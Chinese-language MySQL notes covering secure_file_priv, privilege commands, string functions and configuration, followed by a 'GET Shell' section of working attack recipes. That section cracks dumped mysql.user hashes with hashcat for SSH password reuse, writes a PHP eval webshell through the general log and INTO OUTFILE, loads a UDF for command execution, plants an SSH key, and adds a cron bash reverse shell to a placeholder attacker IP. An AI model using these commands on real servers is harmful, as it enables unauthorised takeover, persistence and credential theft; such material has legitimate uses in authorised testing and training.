前置知识

secure_file_priv 这个变量被用于限制导入和导出的数据目录，比如 LOAD DATA 和 SELECT ... INTO OUTFILE 语句，以及 LOAD_FILE() 函数。这些操作限制了哪些用户拥有文件操作权限。

secure_file_priv 有些设置选项:

如果为空，不做目录限制，即任何目录均可以。
如果指定了目录，MySQL 会限制只能从该目录导入、或导出到该目录。目录必须已存在，MySQL 不会自动创建该目录。
如果设置为 NULL，MySQL 服务器禁止导入与导出功能。

该变量的默认值，是由编译时的 CMake 选项而定，具体可参考官方文档。

因为secure_file_priv 是只读变量不能通过 SET GLOBAL variable_name = value; 命令设置；只能通过修改配置文件；

修改 my.cnf 文件，在 [mysqld] 块下，如果没有 secure_file_priv 则新增

指定目录：secure_file_priv=/path/to/data

不限目录：secure_file_priv=

禁止操作：secure_file_priv=NULL

常用命令

#创建一个用户
CREATE USER 'username'@'localhost' IDENTIFIED BY 'password';

#授予FILE权限
GRANT FILE ON *.* TO 'zixyd'@'localhost';

#撤销FILE权限
REVOKE FILE ON *.* FROM 'zixyd'@'localhost';

#授予所有权限
GRANT ALL PRIVILEGES ON *.* TO 'newuser'@'localhost';
#ALL PRIVILEGES权限 包含下面所有
SELECT, INSERT, UPDATE, DELETE, CREATE, DROP, RELOAD, SHUTDOWN, PROCESS, REFERENCES, INDEX, ALTER, SHOW DATABASES, SUPER, CREATE TEMPORARY TABLES, LOCK TABLES, EXECUTE, REPLICATION SLAVE, BINLOG MONITOR, CREATE VIEW, SHOW VIEW, CREATE ROUTINE, ALTER ROUTINE, CREATE USER, EVENT, TRIGGER, CREATE TABLESPACE, DELETE HISTORY, SET USER, FEDERATED ADMIN, CONNECTION ADMIN, READ_ONLY ADMIN, REPLICATION SLAVE ADMIN, REPLICATION MASTER ADMIN, BINLOG ADMIN, BINLOG REPLAY, SLAVE MONITOR, FILE

#要授予用户 `SELECT` 和 `INSERT` 权限，可以使用以下语句：
GRANT SELECT, INSERT ON database_name.* TO 'username'@'localhost';

#刷新权限
flush privileges;

#查看当前用户权限
show grants;

#查看当前用户
select CURRENT_USER();
select user();

#查看secure_file_priv 
show variables like 'secure_file_priv';

#加载文件
select load_file("/etc/passwd");

#写入文件/导出数据
select "data_content" into outfile "/path/filename";
select "data_content" into dumpfile '/path/filename';

#创建数据库
create database <database_name>; 

#删除数据库
drop database <database_name>; 

#创建数据表
create table users (
    id INT AUTO_INCREMENT PRIMARY KEY,
    username VARCHAR(50) NOT NULL,
    password VARCHAR(100) NOT NULL);
    
#删除数据表
DROP TABLE <table_name>; 

#插入数据
INSERT INTO users (username, password) VALUES ('zhangsan', '123456');

#更新数据
update <table_name> set column1 = value1, column2 = value2 where condition;

#删除数据
delete from <table_name> WHERE condition;

#添加列
alter table <table_name> add column new_column_name datatype;

#修改列的数据类型
ALTER TABLE TABLE_NAME MODIFY COLUMN column_name new_datatype;

#修改列的名字
ALTER TABLE table_name CHANGE COLUMN old_column_name new_column_name datatype;

#删除列
ALTER TABLE table_name DROP COLUMN column_name;

#修改表名
ALTER TABLE old_table_name RENAME TO new_table_name;

#导入数据库
source /home/abc/abc.sql

#更改可以连接的地址 "%"表示任意地址
use mysql
RENAME USER 'zixyd'@'localhost' TO 'zixyd'@'%';
RENAME USER 'zixyd'@'%' TO 'zixyd'@'localhost';

#使用select user(); 等命令似乎不会及时更新
select user,host from user;

#修改数据库密码
ALTER USER 'zixyd'@'localhost' IDENTIFIED BY 'new—_password';
SET PASSWORD FOR 'cms'@'localhost' = PASSWORD('xuan@tian6');

常用函数

#返回字符串 s 的第一个字符的 ASCII 码
ASCII(s);

#返回字符串 s 的字符数
length()

#字符串 s1,s2 等多个字符串合并为一个字符串
CONCAT(s1,s2...sn)

#将字符串转换为大写
UPPER(s)
UCASE(s)

#从字符串 s 的 start 位置截取长度为 length 的子字符串
SUBSTR(s, start, length)	

#比较字符串 s1 和 s2，如果 s1 与 s2 相等返回 0 ，如果 s1>s2 返回 1，如果 s1<s2 返回 -1
STRCMP(s1,s2)

#返回字符串 s 的后 n 个字符
RIGHT(s,n)

#将字符串s的顺序反过来
REVERSE(s)	

#将字符串 s2 替代字符串 s 中的字符串 s1
REPLACE(s,s1,s2)	

#	从字符串 s 的 n 位置截取长度为 len 的子字符串，同 SUBSTRING(s,n,len)
MID(s,n,len)	

#将字符串 s 的所有字母变成小写字母
LOWER(s)
LCASE(s)	

#返回字符串 s 的前 n 个字符
LEFT(s,n)

配置文件

#文件路径
/etc/mysql/my.cnf 

[mysqld]
#监听的地址
bind-address=0.0.0.0

#file权限可以操作的目录
secure_file_priv = /path/to/data

Mysql GET Shell

SSH连接

很多人因为要记得密码太多，所以会重复使用同一个密码，因此我们可以用爆破出来的数据库密码尝试去连接 ssh服务

#查询用户名为'zixyd'的数据库密码
# MySQL <= 5.6 版本
select host, user, password from mysql.user;

# MySQL >= 5.7 版本
SELECT host, user, authentication_string, plugin FROM mysql.user WHERE user = 'zixyd';

#使用hashcat爆破
hashcat hash -m 300 /usr/share/wordlists/rockyou.txt

日志写shell

MySQL 5.0 版本以上会创建日志文件，可以通过修改日志的全局变量来 Getshell

#查看日志功能是否开启以及日志文件路径
MariaDB [(none)]> SHOW VARIABLES LIKE 'general%';
+------------------+----------+
| Variable_name    | Value    |
+------------------+----------+
| general_log      | OFF      |
| general_log_file | kali.log |
+------------------+----------+
2 rows in set (0.001 sec)

#开启日志功能
set global general_log = "ON";

#设置日志文件路径
set global general_log_file='/var/www/html/shell.php';

#日志文件路径是受 secure_file_priv 的限制的，要确保日志文件路径再secure_file_priv范围之内
show variables like 'secure_file_priv';

#往日志文件中写入木马
select '<?php @eval($_POST['password']);?>';

#其实这种方式也比较鸡肋;因为mysql用户默认是对/var/www/html/ 目录没有写的权限的;
#即使有写的权限,mysql日志文件的权限默认为 660 ; www-data用户也没有读的权限;

UDF

自定义函数，是数据库功能的一种扩展。用户通过自定义函数可以实现在 MySQL 中无法方便实现的功能，其添加的新函数都可以在 SQL 语句中调用，就像调用本机函数 version () 等方便。

如果可以自定义一个类似于system的函数，就可以执行shell命令;

如果是 MySQL >= 5.1 的版本，必须把 UDF 动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下，才能创建自定义函数

#查看plugin的路径,一般都是/usr/lib/mysql/plugin/
show variables like '%plugin%';

#linux 64 下
SELECT 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INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';

#创建自定义函数并调用命令
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';

导入成功后查看一下 mysql 函数里面是否新增了 sys_eval：
select * from mysql.func;
select sys_eval('whoami');
#不得不提一下,这种方式也是会受到 secure_file_priv 限制的;
#并且/usr/lib/mysql/plugin/ 目录权限一般只有root有访问权限;

outfile/dumpfile函数

#写木马文件
select "<?php @eval($_POST['password']);?>" into outfile "/var/www/html/shell.php";
select "<?php @eval($_POST['password']);?>" into dumpfile "/var/www/html/shell.php";

#写公钥
#生成公私钥:ssh-keygen -t rsa
select "公钥" into outfile '/home/<username>/.ssh/authorized_keys';

#写定时任务等
select "\n\n* * * * * bash -i>& /dev/tcp/your_ip/youur_port 0>&1\n\n" into outfile /var/spool/cron/root;

参考：

https://www.sqlsec.com/2020/11/mysql.html#文章总结

https://blog.zgsec.cn/archives/26.html

https://shockerli.net/post/mysql-secure-file-priv/

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